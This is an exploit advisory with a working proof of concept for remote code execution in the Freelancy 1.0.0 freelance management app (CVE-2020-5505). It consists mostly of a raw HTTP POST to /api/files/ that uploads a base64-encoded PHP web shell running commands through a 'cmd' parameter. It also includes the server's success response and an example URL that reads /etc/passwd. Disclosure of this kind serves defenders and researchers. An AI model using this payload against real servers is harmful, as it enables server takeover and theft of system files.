Freelancy 1.0.0 Remote Code Execution

2020.01.14
Risk: High
Local: No
Remote: Yes
CWE: CWE-74


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Freelancy - Freelance Management App v1.0.0 - RCE (Authenticated) Arbitrary File Download # Date: 03-01-2019 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://vaaip.com/ # Software Link: https://codecanyon.net/item/freelancy-freelance-project-management-application/25288636 # Software: Freelancy - Freelance Management App # Product Version: v1.0.0 # Vulernability Type: Code Injection # Vulenrability: Remote Code Execution ( RCE ) # CVE : CVE-2020-5505 # Description : # Freelancy v1.0.0 allows remote command execution via # the "file":"data:application/x-php;base64 substring (in conjunction with # "type":"application/x-php"} to the /api/files/ URI. # RCE Example : https://SERVER/storage/file/FileNAME.php?cmd=cat%20/etc/passwd # HTTP Request : POST /api/files/ HTTP/1.1 Host: SERVER User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://SERVER/files X-Requested-With: XMLHttpRequest Content-Type: application/json;charset=utf-8 Authorization: Bearer 8f7f4b6e-68db-4e2b-b33d-401460fdd00c X-XSRF-TOKEN: eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGNpbWhXRFFRa3ZyK2k2SFl1VU9vMFNZYSIsIm1hYyI6IjFhMDM3MGRkM2U4ODQ3OTliOGNmZGU5NTJiMDBhNGIxNmFlNTM4MzA0NjRmMDBmM2RiOWFkMTEyYjZmN2NlNTYifQ== Content-Length: 274 Connection: close Cookie: XSRF-TOKEN=eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGNpbWhXRFFRa3ZyK2k2SFl1VU9vMFNZYSIsIm1hYyI6IjFhMDM3MGRkM2U4ODQ3OTliOGNmZGU5NTJiMDBhNGIxNmFlNTM4MzA0NjRmMDBmM2RiOWFkMTEyYjZmN2NlNTYifQ%3D%3D; freelancy_session=eyJpdiI6InZPQXk2b0dsaTN6S01QbExpTEJRd2c9PSIsInZhbHVlIjoiSENnQ2RIcVVQTFR1SW5WYTR5RUpmS01jV2RmN3F0ZXorYytNNnNPMGpza1U1akQyTWxDRUxpQjE5TXNpK0pCcCIsIm1hYyI6IjM4MjNiY2Y3NGE0ODM1YWJiYjBlOTA3ZDNkMDkxZjE5OTE5NmRhZjJmNzE3ZmIzZTBlNGIwZjMwZTNiZmEzZTUifQ%3D%3D {"title":"Arbitrary File Upload","description":"Shell","file":"data:application/x-php;base64,PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4=","type":"application/x-php"} # HTTP Response : HTTP/1.1 201 Created Server: nginx/1.14.0 (Ubuntu) Content-Type: application/json Connection: close Cache-Control: no-cache, private Date: Fri, 03 Jan 2020 05:21:25 GMT X-RateLimit-Limit: 60 X-RateLimit-Remaining: 58 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 350 {"uuid":"FileNAME","title":"Arbitrary File Upload","description":"Shell","path":"public\/file\/FileNAME.php","url":"https:\/\/SERVER\/storage\/file\/FileNAME.php","user_id":1,"updated_at":"2020-01-03 05:21:25","created_at":"2020-01-03 05:21:25","id":16}


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